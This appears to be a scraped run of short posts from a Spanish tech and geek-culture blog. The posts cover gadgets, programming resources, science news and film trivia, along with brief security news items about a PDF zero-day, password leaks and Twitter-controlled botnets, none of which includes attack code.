     Trend Micro avisó ayer de un 0day exploit en los citados productos de Adobe. Trend Micro identifica este troyano como TROJ_PIDIEF.UO. Este fichero PDF contiene código JavaScript embebido que ha sido bautizado como JS_AGENTT.DT. Este JavaSctript es usado para ejecutar código arbitrario usando una técnica denominada Heap Spraying (Pulverizado del montículo). Basado en el estudio realizado por Trend Micro, también han detectado que dicho PDF también contiene una puerta trasera (backdoor) identificada como BKDR_PROTUS.BD. Actualmente se conocen variantes Protux capaz de proveer acceso a nivel de usuario ilimitado al atacante. Según comentan también en el post, Adobe lanzará un parche para corregir esta vulnerabilidad el próximo martes. Ahora mismo la única forma de protegernos contra este error es deshabilitando la ejecución de JavaScript.

     La Ciencia en España no necesita tijeras

     Siguiendo la iniciativa del blog La Aldea Irreductible, aunque un par de días tarde, aquí llega nuestro apoyo.

     

     La Ciencia nos ayuda a comprender el pasado, vivir mejor el presente y a poder elegir nuestro futuro.

     Si queremos cambiar el modelo económico en España hacia uno basado en la Ciencia y la Innovación, éste no es el camino.

     BugSpy

     

     BugSpy es un motor de búsqueda de errores no resueltos, en proyectos de código abierto. En ciertas ocasiones, puede resultar muy útil.

     Wedge Antilles, el otro héroe de La Guerra de las …

      

     Un superviviente, fundamental en el éxito rebelde en la guerra civil (te recuerdo que para mi sólo existen tres episodios de La Guerra de las Galaxias, el IV, V y VI), que participó en todas las batallas más importantes es menos conocido pero no menos importante.

     Un poco de historia sobre Antilles:

     Nació en Gus Treta, que es una estación espacial en el sistema Corelia. Huérfano desde que sus padres Jagged y Zena, fueran asesinados cuando la estación espacial fue destruida por piratas espaciales. Con algo de dinero, luego compró un cargero con el que empezó a suministrar armas a la Alianza Rebelde. Respondiendo a la llamada a las armas y la necesidad de pilotos, se enroló como piloto de un X-Wing y rápidamente se convirtió en uno de los  mejores. Conoció a Luke cuando le asignaron en el Escuadrón Rojo en la batalla de Yavin.

     Marge Simpson portada del Playboy

     

     Visto en Menéame.

     Cargador inalámbrico universal

     Se llama Powermat y es capaz de cargar hasta 3 dispositivos a la vez sin ningún tipo de conexión por cable entre el Powermat y nuestro dispositivo móvil. Eso sí, necesitas añadir un pequeño adaptador a tu dispositivo. Este adaptador tiene que estar en contacto con el Powermat. Tienen adaptadores para los dispositivos más conocidos, como Blackberrys, iPods, iTouch, iPhones, etc. También tienen un pequeño adaptador USB, capaz de poder cargar prácticamente cualquier aparato cuya carga se haga a través del puerto USB. También tienen una versión de viaje, que es plegable y muy transportable. Y como dicen que una imagen vale más que mil palabras, aquí os dejo un pequeño vídeo de demostración.

     Animaciones de los algortimos de ordenación

     

     A raiz del anterior artículo sobre la auralización de los algoritmos, he encontrado este enlace donde podremos ver animaciones de los algoritmos de burbuja, quicksort, etc … e incluso compararlos.

     Esta visualización ayuda mucho a la hora de comprender el funcionamiento de estos algoritmos básicos en el mundo de la informática.

     Puedes verlos en:

     http://www.sorting-algorithms.com/

     El asteriode Apophis no alcanzará la Tierra en …

     El asteriode Apophis descubierto en 2004 con un diámetro cercano a 500 m y un peso superior a 20 millones de toneladas pasará en 2036 a 32.600 Km de la superficie de la Tierra.

     

     La NASA ha refinado los datos obtenidos sobre el camino que podría ser seguido por este meteorito. Empleando nuevas técnicas computacionales han reducido las posibilidades de impacto de 1 entre 45.000 a 1 entre 250.000.

     Auralización del software ¿has escuchado tu …

      

     

     La auralización es una técnica que consiste en visualizar la información usando el sonido. Las técnicas de visualización de algoritmos puede ayudar a los programadores a tener una mejor percepción del funcionamiento de sus programas. Un estudiante de postgrado ha desarrollado un programa que justamente hace eso, mapeando con cuidado los registros por notas y ajustando el tiempo a escala humana, obtiene una representación musical de los algortimos.

     Evaluación de seguridad en aplicaciones web

     

     El consorcio de seguridad de aplicaciones web (Web Application Security Consortium) acaba hacer público, la primera versión del poyecto titulado: Web Application Security Scanner Evaluation Criteria (Criterio de evaluación de escaners de seguridad de aplicaciones web). Este documento ha sido elaborado gracias a la experiencia aportado por un gran número de voluntarios. El objetivo de este proyecto, es proveer una guía a seguir a la hora de evaluar una aplicación web desde el punto de vista de la seguridad.

     0day exploit en FreeBSD 7.2

     

     Se ha hecho público un exploit 0day para FreeBSD 7.2 versiones anteriores incluida la 6.4. El exploit se aprovecha de un error en el sistema VFS y devfs. Aquí podéis ver el exploit en cuestión.

     Visto en Security-Shell.

     Be good my friend!

     Sobre las contraseñas robadas a Windows Live!

     Mucho se está hablando estos días acerca de las contraseñas robadas a Windows Live!

     Parece ser que los primeros indicios apuntan a que han sido obtenidas mediante técnicas de phising, aunque Microsoft está investigando al respecto y aún no se sabe nada de forma “oficial”.

     Lo que sí ha trascendido es que las contraseñas fueron publicadas en un sitio de intercambio de trozos de código y depuración colaborativa:  Pastebin.

     Además de eso, ha surgido una lista con las claves más utilizadas según ese listado (vía menéame), que para no ser menos y publicarlas también nosotros es:

     20 Fotos olvidadas de la misión Apolo XI

     Estas fotos muestran a científicos con expresiones serias, a los astronautas relajados en situaciones habituales, a la gente acampada en los alrededores de la zona de despegue, etc...

     Estas son tres de las que más nos han gustado, la primera muestra a Neil Armstrong andando hacia el helicóptero usado para hacer las simulaciones de aterrizaje del módulo lunar:

     

     Esta otra muestra a los tres astronautas hablando a la prensa la noche antes del despegue:

     Banco de pruebas de Nokia

     En engadget.com he visto este vídeo de algunas de las pruebas que la hacen a los teléfonos Nokia, para poner a prueba la calidad de los mismos.

     La prueba que más me ha gustado es la del martillo que le pega al teléfono como si fuera una pelota de golf. Y lo más impresionante es que el teléfono parece que sale intacto.

     Teleconferencias gratuitas con Google Talk

     

     En este post nos explican un pequeño truco para poder hacer teleconferencias gratuitas a través de Google Talk. La idea es el poder varias instancias de dicha aplicación. Para ello, tenemos que cambiar el parámetro /startmenu con /nomutex cuando abrimos nuestro Google Talk. Los pasos son sencillos:

     1.- Crea un acceso directo a Google Talk en tu escritorio. 2.- Haz click con el botón derecho del ratón y selecciona propiedades. 3.- Cambia /startmenu por /nomutex.

     Vamos a hacer la web más rápida

     

     Let’s make the web faster es punto de encuentro en la web de Google code, cuyo principal objetivo es recopilar documentación y utilidades sobre como mejorar el rendimiento de tus páginas. También ofrece una serie de listas de correos para el poder compartir tus conocimientos o preguntar tus dudas. Sin duda alguna, un punto de referencia a la hora de optimizar tu sitio web.

     62 programas gratuitos a un "click"

     A estas alturas seguro que la mayoría tiene un lugar donde guarda un buen conjunto de programas que instalar nada más formateado el ordenador.

     

     Pero por si acaso os cuelgo este enlace que me ha llegado vía web (gracias Sara):

     62 programas esenciales gratis

     En la página en cuestión emezeta.com, podréis encontrar 62 programas freeware para descargar. Seguramente, muchos de vosotros los conoceréis pero tenerlos todos en la misma página es un ahorro de tiempo, jeje.

     5 nuevos conceptos de ratón

     En el siguiente vídeo, Microsoft muestra 5 proyectos de investigación basado en 5 nuevos conceptos del ratón.

     El primer ratón (0:00), podemos ver lo que más se parece al ratón convencional, pero en este caso dicho ratón es táctil. No dispone de botones y es sensible en distintas partes.

     En el segundo caso (1:52), este prototipo incluye una cámara que envía al ordenador la imagen de la posición de nuestra mano y dedos. Él controlador que corresponda, interpretará las imágenes enviada por la cámara y generará los eventos necesarios.

     JPEG y ZIP en un sólo fichero

     

     Esto es un viejo truco que vi el otro día. Supongamos que tenemos un archivo misficheros.zip y un fichero coche.jpg y queremos ocultar el zip en el jpg o el jpg en el zip, sin hacerlo parte del archivo en sí. Ojo, esto no tiene nada que ver con la esteganografía.

     Podemos hacer los siguiente:

     cat misficheros.zip >> coche.jpg

     Con lo que nos queda un fichero coche.jpg cuyo tamaño ahora es la suma de ambos ficheros. Si ahora haces doble click sobre dicho fichero, verás la foto que corresponda. Y si ahora renombras coche.jpg a coche.zip y haces doble click sobre el mismo, verás la lista de ficheros pertenecientes a misficheros.zip completamente funcional.

     Un teléfono con batería de metanol

     Una operadora japonesa, KDDI, mostró ayer en la feria de CEATEC un nuevo prototipo de teléfono móvil cuya bateria funciona con metanol y se recarga en segundos.

     

     Aunque todavía es pronto para que se vean estos juguetes en la calle, algunas características que comentan (autonomía de 320 horas y recarga en segundos) resultan muy prometedoras.

     El diseño está basado en una pila de combustible diseñada por Toshiba (DMFC). Éstos mismos prometen desarrollar un cargador comercial basado en el mismo combustible para alimentar consolas, portátiles, ....

     18 secuencias de títulos espectaculares de series …

     

     Tanto de películas como de series, en aetuts+ han hecho esta excelente recopilación donde puedes incluso ver la secuencia de títulos completa. Desde la fantástica introducción de la serie "True Blood" hasta la secuencia inicial de nuestra querida película "3:19".

     Incidentes de seguridad

     

     Muchos son los sitios (telegraph, bbc, etc ) que se han hecho eco de la intrusión de hotmail, donde se publicaron miles de cuentas de usuarios con sus respectivas contraseñas. Pero Microsoft nos ha sido el único afectado, para ser que Amazon también sufrió este fin de semana otro tipo de ataque. En este caso una denegación de servicio distribuida (DDoS) en uno de sus servidores en la nube. Concretamente BitBucket, que se mantuvo unas 19 horas fuera de servicio (theRegister). Pero aquí no queda la cosa, y el más sorprendente de todos es la intrusión producida en la NSA, la que fue comprometido por una inyección de SQL (pantallazo la modificación). En fin, que está visto y comprobado que no importa como te llames ni que presupuesto tengas, todos estamos expuestos.

     "Servidor" Sun

     Más de uno se volvería loco por administrar este “servidor”.

     

     Enlace original.

     9 look and feels para aplicaciones Java Swing

     Ya hace algún desde mi última aplicación de escritorio que escribí en Java usando las librearías Swing. Y la verdad que el aspecto había mejorado mucho desde aquellas primeras versiones. Había perdido un poco el hilo de la evolución de las plantillas para Swing, especialmente desde que, desde mi punto de vista, a Sun le interesa más bien poco ese proyecto y de hecho parece que la versión 7 de java no incluirá swing, pero ayer vi este post y la verdad es que me sorprendió mucho el aspecto de algunas plantillas para swing. Aquí os dejo 9 pantallazos de 9 plantillas inyectables para swing:

     DeSmuME, emulador de Nintendo DS para PC y Mac

     

     Windows y Mac

     Ya tenemos disponible un buen emulador de la Nintendo DS capaz de ejecutar tanto ROMS como software "homebrew".  DeSmuME emula todas las funcionalidades de la DS, incluyendo los botones, pantalla táctil e incluso la WiFi. Aparte de ejecutar ROMS también podrás hacer algunos extras como tomar capturas de pantallas, hacer videos de tus partidas, cargar trucos y almacenar el avance del juego (incluso si el juego no tiene soporte para hacerlo).

     5 Top 10 de Kotaku

     

     Cinco listas top 10 de Kotaku donde podrás encontrar la verdad sobre algunos mitos de los videojuegos, los peores anuncios, las mejores pantallas de final de partida “Game Over”, etc …

     Estas son las listas:

     10 formas de perder el tiempo con un videojuego

     La verdad detrás de 10 mitos de los videojuegos

     10 de los peores anuncios de videojuegos

     10 videojuegos protagonizados por mujeres que no usan el sexo para venderlo

     Película de Spore, del director de Ice Age

     

     EA está ya desarrolando el guión junto a la Twentieth Century Fox para la película basada en el videojuego de Spore.

     Visto en Gamasutra.

     Clonezilla, la solución definitiva gratuita para …

     

     Windows, Linux y Mac

     Clonar discos es la mejor opción tanto para hacer copias de seguridad (creas una instantánea exacta de la situación de tu equipo) como para instalar el Sistema Operativo con todas las aplicaciones instaladas y operativas sin tener que hacer la instalación de cada una (esta opción es ideal para empresas).

     Hay bastantes programas que se hacen llamar "gratuitos" para hacer clonación de discos, pero la mayoría deja las mejores funciones (algunos incluso las más básicas) para sus versiones de pago.

     Debris, demo espectacular de 177KB

      Alucinante demo (llamada Debris) creada por el grupo farbrausch  en 2007.

     Tamaño exacto:

     179KB  (183.462 bytes)

     Puedes descargarla desde aquí.

     Esto sí que es arte y matemáticas juntas.

     PS3 Slim portátil

     Construida por Benjamin J. Heckendorn (alias Ben Heck)

     Visto en Make

     Coche con un R2D2 se estropea en una autopista …

     Os cuento la historia desde el principio, es para flipar. La policía fue a asistir a un vehículo averiado en la autovía de Northamsonshire en Inglaterra. Hasta aquí todo correcto, hasta que vieron que el coche era un "poco extraño", aquí la foto:

     

     Chicos, esto sí que es un tuneo de coche ;)

     Pero la historia no acaba aquí, el anterior propietario del coche fue nada más y nada menos que el actor Kenny Baker, el hombre dentro de R2D2. Y ya para acabar, el conductor se hace llamar David "Darth Vader" Prose ... espectacular.

     Documental sobre Lovecraft

      

     En un par de semanas se extrena el documental "Lovecraft: Fear of the Unknown" donde se realiza una visión de nuestro autor de terror favorito y sus fantásticos Mitos de Cthulhu.

     Inlcluye entrevistas a John Carpenter, Stuart Gordon y a nuestro querido y venerado San Guillermo del Toro, entre otros.

     Aquí tenéis un avance:

     Web oficial aquí.

     Mochila que genera electricidad

     En este vídeo visto en Hack a day, podemos ver una introducción a esta mochila que incorpora un mecanismo capaz de generar energía con el movimiento producido cuando andamos o corremos. Pensada sobre todo para el campo militar, donde los soldados podrían aliviar la carga que tienen que soportar por el transporte de baterías para el equipamiento que tienen que transportar. También podría ser ideal para el senderismo, mientras que vas andando por la montaña puedes ir recargando tu GPS o teléfono móvil. También incorpora un monitor de carga y un regulador de energía.

     Ver a través de las paredes usando redes wifi

     

     Investigadores de la Universidad de Utath han conseguido detectar movimiento en una habitación basado en las variaciones de las señales WiFi. Con una precisión de un metro, han usado 34 nodos WiFi para llegar a este nivel de sensibilidad.

     Se basa en que la fuerza de la señal de cualquier punto de la red es la suma de todas las rutas de las ondas de radio que pueden llegar hasta el receptor. Cualquier cambio en el volúmen espacial a través de estas señales, por ejemplo una persona que se mueve, hace que la señal varíe en su fuerza. Analizando todas las señales que llegan al receptor podemos incluso tener una imágen del movimiento.

     El juego de ajedrez más pequeño en C

     

     Creado por Oscar Toledo Gutierrez es un programa escrito en lenguaje C que juega bastante bien al ajedrez considerando que sólo ocupa 22kb (el .EXE) . El código fuente es de 1Kb y está compilado con Visual Studio 2008 (y comprimido con UPX). Eso sí, todo el código está ofuscado, así que buena suerte para comprenderlo. De hecho este programa ha ganado cuatro veces la competición International Obfuscated C Code Contest.

     Alucinante robot para ordenar tortitas

      

      Vaya bestia sólo para ordenar tortitas.

     Visto en Make.

     Resumen de la presentación oficial de Google Wave

     En este vídeo podéis ver los 10 minutos más interesantes de la presentación oficial de Google Wave, que duró 80 minutos.

     Bedazzler

     

     En 2007, el DHS (Department of Homeland Security) Estadounidense, presentó un arma no letal llamada “The Dazzler”. Dicha arma, sin embargo, es capaz de causar nauseas, dolor de cabeza, vómitos, etc. El desarrollo de la misma ascendió a 1 millón de dolares. Pues bien, en la web de ladyada.net han hecho público tanto los esquemas como el código fuente de “The Bedazzler”, que no es más que una copia del original desarrollado por el gobierno norteamericano, cuyo coste no supera los 250 dólares.

     64 blogs para desarrolladores

     

     En este enlace podemos ver una lista de un total de 64 blogs relacionados con el desarrollo de aplicaciones, aunque en muchos de ellos no se trata este tema exclusivamente. Sólo tienen una particularidad, todos ellos tienen al menos un PageRank de 6, a día de hoy.

     Conocimientos de Java

     

     ¿Cuánto sabes sobre Java? ¿Tienes alguna entrevista de trabajo para programar en Java? Entonces esta lista de preguntas sobre dicho lenguaje te puede ser de gran ayuda. Incluso si tienes pensamiento de obtener alguna certificación sobre Java, también te puede servir.

     tweetMyMoney

     

     Vantage Credit Union es una entidad bancaria a la que se le ha ocurrido la feliz idea de crear tweetMyMoney. ¿Y qué demonios es tweetMyMoney? Pues según lo definen en su propia web:

     Con tweetMyMonoey puedes consultar tu balance de cuenta, depósitos, retiros y cheques que han sido cobrados con simples comandos. Y también puedes hacer transferencias con tu cuenta. Todo disponible en Twitter las 24 horas del día! Y lo mejor de todo es que este servicio es gratuito!

     Antivirus gratuito de Microsoft, Security …

     

     Windows

     Microsoft ha lanzado un antivirus gratuito llamado Security Essentials. Aunque hay muchos otros antivirus gratuitos (yo recomiendo Avira), este tiene la ventaja de la integración del mismo con el entorno Windows, la transparencia de funcionamiento y la sencillez (sólo falta que sea efectivo). Microsoft comenta que está diseñado para funcionar de forma silenciosa en background y sin consumos exagerados de CPU o de memoria. Además ofrecen un sistema llamado Dynamic Signature Service, el cual se supone asegura al usuario de estar siempre actualizado con la última firma de definición de virus.

     "The IT Crowd" vs. "Das iTeam"

     Das iTeam parece ser una copia alemana la serie The IT Crowd. Aquí os dejo un vídeo donde han tomado varias escenas de ambas series, donde se puede ver con claridad la similitud entre ambas.

     Para ver el vídeo tendréis que ir directamente a YouTube

     Thermaltake Level 10, caja espectacular para el …

     

     Thermaltake y BMW han sacado la Thermaltake 10 PC case en el CEBIT 2009. Está diseñada especialmente para gamers pero realmente tiene pinta de ser bastante práctico sobre todo a la hora de pasar cables y montar/desmontar unidades. Consta de un pilar central con compartimentos individuales colgantes para placa base, unidades ópticas y discos duros.

     

     Saldrá a mediados de Octubre por unos 700$.

     Vulnerabilidad en la API de atentificación de …

     Como muchos otros servicios de la llamada web 2.0, Flickr también pone a disposición de los desarrolladores su API de programación, para que estos puedan integrar los servicios ofrecidos por esta web en sus aplicaciones.

     Para poder desarrollar y usar dicha API, el programador tiene que adquirir una clave generada por Flickr para poder autentificarse contra este servicio. Pues bien, en la web de netifera.com han publicado un artículo donde explican como saltarse este sistema de autentificación e incluso acceder a las cuentas de otros usuarios. Pero aquí no queda la cosa, según el documento publicado, otros servicios bien conocidos, también son vulnerables a este ataque. Algunos de estos otros servicios son:

     Libros Java

     

     Para aquellos interesados en la programación en Java, hay un portal llamado javabooks.org donde intentan centralizar todas las publicaciones sobre Java, frameworks, librearías, etc. Así que si estás interesado en adquirir algún libro relacionado con Java, este sitio te puede ser de mucha ayuda a la hora de encontrar lo que estás buscando.

     Normazlización de bases de datos

     

     Para aquellos que se dediquen a la programación de bases de datos, les sonará eso de normalizar una base de datos y si no te suena, vas por muy mal camino. Aquí os dejo un póster dónde de forma muy resumida recoge las 5 formas normales a la hora de normalizar una base de datos.

     Fuente original.

     NautilusSVN

     

     Como muchos de ustedes, sabrán, conocerán y habrán usado Subversion. Y casi seguro, si lo habéis usado bajo Windows, es que también conozcáis y habréis usado el que yo diría es el plugin más conocido bajo el sistema operativo de Redmon, TortoiseSVN. Pues bien, está mañana con gran entusiasmo me encontré con la existencia del proyecto NautilusSVN, que no es ni más ni menos que una extensión para Nautilus (administrador de ficheros de Gnome) escrita en Python. Aún está en una fase muy beta, pero sin duda alguna una gran noticia para los usuarios de Linux, especialmente aquellos que usamos Gnome como entorno de escritorio.

     Reloj por palabras

     Aquí os dejo la foto de otro reloj que podríamos añadir al post de nuestro compañero Okajey.

     

     Enlace a la fuente original.

     Señor juez, las pruebas son... 43.000 fotos de sus …

     Aviso: algunas imágenes son subiditas de tono. Menudo fiestón.

     ¿Denunciarías a tu amigo por un pequeño descuido? Pues ten cuidado porque en una fiesta plagada de cámaras de fotos, blackberrys y demás óptica puede hacerlo por ti.

     El mejor corazón en 3D

     A simple vista parece que no es gran cosa pero detrás de estos escasos segundos existe un grandísimo trabajo de mallado, script y labor médica.

     Stocco Maitre, el espejo con MP3.

     

     Está pensado para ipod pero también tiene el típico jack para conectar cualquier mp3. Disponible en 90 cm y 2 m. Tiene controles táctiles y entre sus funciones están las de barómetro, reloj y radio. Barato no será pero el precio se lo puedes preguntar a él: Espejo, espejito mágico quién tiene más pasta del reino?

     Página web: stocco.it

     Command and Control

     Command and control es una de las técnicas usadas por las botnets, donde los PCs zombies or infectados reciben ordenes que a continuación son ejecutadas. Ultimamente, el uso de esta técnica se está extendiendo hacia las redes sociales, de manera que dichas botnets no dependen de servidores propietarios el cual el creador tiene que mantener. Si hace unas semanas, era Symantec quien descubría un nuevo troyano al que bautizaron como Google Group Trojan el cuál hace uso de los grupos de Google para lanzar las ordenes que los ordenadores infectados recibirán y ejecutarán, ahora también podemos ver una prueba de concepto de lo mismo, pero esta vez haciendo uso de los servicios de Twitter.

     Portátil con 4 pantallas

     En la IDF 2009, Intel a presentado lo que es el primer portátil con 4 pantallas. Aquí os dejo algunas fotos.

     

     

     

     Visto en PCPro

     Manuales de máquinas recreativas y más material …

     

      

     Más de 1.700 manuales escaneados en formato PDF de máquinas recreativas. Pero no sólo encontrarás información, también esquemas electrónicos, manuales, información general, etc.

     Mira estos ejemplos alucinantes:

     Esquemas y manual de las máquinas recreativas Asteroids, Space Invaders, Moon Cresta ... (madre mía que subidón)

     Pero la cosa no queda sólo en los manuales arcade, echa un vistazo:

     Cámaras, material militar, electrónica, PDA, coches ... y mucho más:

     http://pdf.textfiles.com/manuals/

     Otro paraiso geek ;) para nuestra colección.

     Intentando salvar a la Spirit

     

     Nuestra querida sonda Spirit se quedó encallada en un suelo blando de una zona llamada Troy en Mayo. Desde la Tierra se están intentando por todos los medios simular la gravedad de Marte y el terreno en el que se encuentra para intentar hacer que vuelva a pasear por los paisajes de Marte ... pero parece complicado que lo vuelva a hacer. Y para colmo una tormenta de arena ha reducido la producción de energía de sus paneles solares a la mitad.

     Barrelfish ¿Sistema Operativo gratuito y libre de …

     

     He leido en MuyComputer sobre Barrelfish, un proyecto de un sistema operativo multicore, open source (lleva librerías BSD) y gratuito, creado por Microsoft.

     Puedes incluso bajarte ya la primera versión del código fuente, aquí.

     ¿Será un híbrido entre Linux/Windows?

     Estaremos atentos.

     BIOS de arranque instantáneo

     La compañía Phoenix ha presentado en la IDF 2009 su primera BIOS de arranque instantáneo. Tal y como se puede ver en el siguiente vídeo, usando esta nueva tecnología basada en UEFI, arrancan un Windows 7 en 1 segundo. Wow!

     Visto en Engadget

     Alimenta tus dispositivos por USB

     

     En MaximumPC han publicado un artículo dónde muestran paso a paso 9 proyectos distintos para hacer en casa. Para mi los más interesantes son: como alimentar un ventilador a través del puerto USB o como crear un cargador de pilas alimentado por USB también. Aquí puedes ver el resto.

     Visto en LifeHacker

     ¿Película sobre H.P. Lovecraft?

     

     Parece que Ron Howard (Cocoon, Apolo 13 y Willow) está preparando la adaptación de "The Strange Adventures of H.P. Lovecraft". Este comic sitúa a mismísimo Lovecraft en el centro de una de sus aventuras. Sería un Lovecraft bastante jóven al estilo de Sherlock Holmes pero investigando sus propios relatos terroríficos basados en nuestros queridos Mitos de Cthulhu.

     ... ya veremos, de momento cautela, Ron Howard puede darnos bastantes garantías.

     Sustituyendo el asfalto por paneles solares, Solar …

     

     Pues sí, he leido en Smorgasbord.net que hay una compañía llamada "Solar Roadway" que está proponiendo sustituir todo el asfalto de las carreteras y cambiarlos por paneles solares un poco especiales.

     Si se llevara a cabo, EEUU tendrá tres veces más energía gratis disponible, eso sí, lo de gratis es relativo ya que cada panel solar cuesta 7.000$ y sólo tiene 30,5 x 30,5 cm. Pero de todas formas la idea es bastante interesante, ya que se obtendría energía limpia y barata (cuando se abaraten los costes de fabricación de dichos paneles).

     NotePod, notas de avisos geek con forma de iPod

     

     Disponibles en pack de 3, cuestan 17,95$ enviarlas a cualquier parte del mundo (y las envían desde Australia).

     Web oficial NotePod.net.

     Visto en OhGizmo.

     Tarta Star Wars

     

     Visto y alguna tarta más en SciFiWire

     Sistemas operativos en la nube

     Aquí podéis encontrar una lista de varios sistemas operativos que podemos ejecutar desde nuestro navegador, que a continuación paso a enumerar aquí:

     • Windows4All

     

     - G.ho.st

     

     - EyeOS

     

     - Glide OS

     

     - AmoebaOS

     

     - OOS (Online Operating System)

     

     - MyGoya (No hagan rima :-))

     

     - Nivio

     

     Historia del hacking

     

     Visto aquí

     ... Llamando a El Geek Errante ...

     

     Hemos lanzado una sonda para ver si localizamos la nave espacial de "El Geek Errante". Lleva desde Enero de este año sin dar señales de vida.

     Si alguno sabe algo de su paradero que no dude en ponerse en contacto con nosotros ;)

     Por si no lo sabías, "El Geek Errante" es el mejor podcast de tecnología e informática que hemos escuchado en Castellano. Tiene un buen nivel técnico, los temas son actuales, bromas geniales, técnica del podcast perfecta, etc ...

     SGI desvela el Octane III, el superordenador …

      

     Alucinante maquinita, lista para acomodar hasta 80 cores y 1 TB de memoria.

     Más información:

     • 10 dual-socket, Quad-Core Intel® Xeon® 5500 series-based nodes
     •  1 dual-socket, Quad-Core Intel® Xeon® processor 5500 series-based workstation with advanced NVIDIA graphics and/or GP-GPU card support
     •  19 single-socket, Quad-Core Intel® Xeon® processor 3400 series-based nodes.
     •  19 single-socket, Dual-Core Intel® Atom™ processor-based nodes

     Mejor echa un vistazo a este PDF con todas las características.`

     Lampshade, la lámpara carnívora

     Lampshade es una lámpara que consigue energía atrapando insectos

     La lámpara lleva incorporada la "Microbial Fuel Cell" que, como su nombre indica, es un dispositivo, mitad electrónico, mitad químico, que se ocupa de descomponer insectos y convertirlos en energía eléctrica. La idea es imbuir los aparatos que tenemos para acabar con las plagas en el mobiliario de nuestra casa.

     Éstos animalitos fueron expuestos en Abril de este año en Gijón: mesas devorarratones, aparatos atrapa arañas...

     Amiga intern, PDF con toda la información del …

     

     Sólo un pequeño detalle, está en alemán ;) pero es una pieza de coleccionista que todo fan del Commodore Amiga debería tener. Aquí encontrarás toda la información relativa al hardware del Amiga (500 y 2000), puertos, interrupciones, sistema de ficheros, etc ...

     Puedes descargar Amiga Intern desde aquí en PDF (11MB)

     Estoy seguro que a mis grandes colegas tuxotron y NOP les va a gustar ;)

     El mejor video de gatos nunca visto

     Visto en Yonderful

     Videos de la Google Developers Conference

     

     Esta conferencia se realizó en Mayo en la la ciudad de San Francisco. Fueron más de 80 sesiones magistrales hablando sobre Google Wave, Android, App Engine, Chrome, Google Web Toolkit, AJAX APIs, y mucho más.

     Fotos de la conferencia aquí.

     Nos os perdáis la lista con todos los videos en:

     Google Code

     Obscura CueLight, la mesa de billar más alucinante …

     Obscura CueLight from Gizmodo on Vimeo.

     Visto en The Awesomer.

     Gecko Info Pad

     

     Gecko Info Pad es un tablet pc que está siendo fabricado por la compañía NorthTec y que corre con Ubuntu Linux. Hasta aquí nada nuevo que digamos. Lo curioso de este dispositivo es que funciona con 8 pilas AA. Esta son algunas de las características técnicas:

     • Procesador -- Xcore 86 (Vortex86MX SoC) a 1.0GHz
     • Memoria -- 512MB o 1GB of DDR2 RAM, soldado en placa
     • Pantalla -- Táctil, 8.9-pulgadas con una resolución de  1024 x 600
     • Almacenamiento -- Tarjeta SD de 8GB
     • Red -- 10/100 Ethernet
     • E/S:
       • 3 x USB 2.0
       • VGA
       • Audio -- línea de entrada y salida
     • Expansión -- 2 x slots SD internos
     • Batería -- 8 pilas NiMH AA, o litio, con una autonomía de 4 ó 6 horas respectivamente

     Visto en LinuxDevices.com

     Nueva imágen del centro de la Vía Láctea

     

     El observatorio espacial de rayos X, Chandra,  ha captado una nueva imágen del centro de la Vía Láctea que revela muchos detalles. Rayos X difusos debidos al gas de explosiones estelares, emisiones producidas por el agujero negro masivo que domina el centro de la Galaxia y vientos procedentes de grandes estrellas, son algunos de los elementos que los científicos han podido analizar desde esta fantástica imágen.

     

     Monkey Island con el motor de Crysis

     Hannes Appell ha recreado usando el motor del juego Crysis la isla de Lechuck en Monkey Island 2 (LeChuck's Revenge's)

     Visto en OffWorld.

     Networkminer NFAT, herramienta para análisis …

     

     Esta aplicación puede ser utilizada como capturador pasivo de datos (sniffer de paquetes), localizar  puertos abiertos, etc .. pero sin introducir ningún tipo de datos en la red. También puede usar ficheros PCAP para analizar o incluso regenerar y reparar datos. 

     Puedes descargarla desde aquí.

     Visto en Sysops.

     Robot Lego resolviendo un sudoku

     Nuestro compañero Cybercaronte, compartía con nosotros el otro día un vídeo que mostraba un robot resolviendo un cubo de rubik, hoy os dejo otro vídeo, pero esta vez de un robot hecho con Legos, resolviendo un sudoku. Im-precionante!

     Máquina de billar virtual de 1990, usando palo y …

     Antes que la Wii, creada en 1990. En la mitad del video (minuto 1 y 20 segundos) se muestra el secreto detrás de todo. No hay nada sofisticado, sólo cuatro detectores (emisor y receptor)  de infrarrojos y un procesador de 8 bits que calcula la velocidad. Lo más impresionante es que tiene un "minitapete" donde pones la bola para golpearla con el palo. Luego el microprocesador calcula la trayectoria de la bola usando los sensores que antes hemos comentado. Realmente la protagonista de esta máquina es la bola, ya que abre más posibilidades para otro tipo de juegos usándola como interface (al final del video se muestran otros ejemplos de juegos).

     Novedades de Android SDK 1.6

     

     Ya de todos es sabido, que Google ha lanzado la nueva versión de su SDK para Android. Así que a continuación voy a enumerar las principales características de esta nueva versión 1.6 o también conocida como Donut.

     • Nuevo mercado de aplicaciones. En esta versión han rediseñado por completo el repositorio de aplicaciones, haciéndolo más intuitivo y mejorando las búsquedas de aplicaciones.
     • Gestos personalizados. Han introducido una nueva herramienta llamada GestureBuilder (creador de gestos) que te permite crear gestos personalizados para adaptarlos a tu aplicación.
     • Mejoras en la aplicación de la cámara. Han mejorado y optimizado la aplicación que gestiona la cámara, añadiendo nuevas funcionalidades, además de reducir el tiempo de carga en un 39% y el intervalo de capturas de foto en un 28%.
     • API para la pronunciación de texto. Esta es de hecho, una de las nuevas características que se han introducido en esta versión. Un motor multi-lenguaje de pronunciación de texto llamado Pico.
     • Redes CDMA. Ahora soporta, además de la red GSM, las redes CDMA. Aquí os dejo un artículo donde tratan las diferencias entre ambas redes.
     • Caja de texto de búsqueda universal. Con está característica de búsqueda rápida podemos buscar por la web, histórico, marcadores, música, contactos, etc. Todo desde el mismo sitio.
     • Mejoras de rendimiento de la batería.
     • Soporte VPN. Soporte de L2TP/IPSEC con clave compartida o certificados VPN, L2TP o PPTP. Google apunta la empresa.
     • Actualizaciones en el Kernel.

     Video oficial del lanzamiento.

     Proyecto Uzebox

     

     Tal como lo definen en la web oficial, el proyecto Uzebox es una consola casera retro-minimalista. Está basada en un micro controlador AVR de 8 bits, programado por interrupciones y no dispone de buffer de vídeo.

     Las características de este dispositivo son:

     • Componentes de bajo coste.
     • Kernel programado por interrupciones.
     • 256 colores simultáneos.
     • 4 canales de audio.
     • Entrada MIDI.
     • Retro controladores (NES/SNES).
     • Soporta ratón SNES.
     • Soporte de tarjetas de memoria SD/Micro SD.
     • Líneas de E/S.
     • Dispone de un emulador para un desarrollo más cómodo.
     • Cargador de juegos desde la tarjeta de memoria (SD).
     • Dispone de una API de desarrollo.
     • Tanto el hardware como el software están licenciados como GPL.

     Especificaciones técnicas:

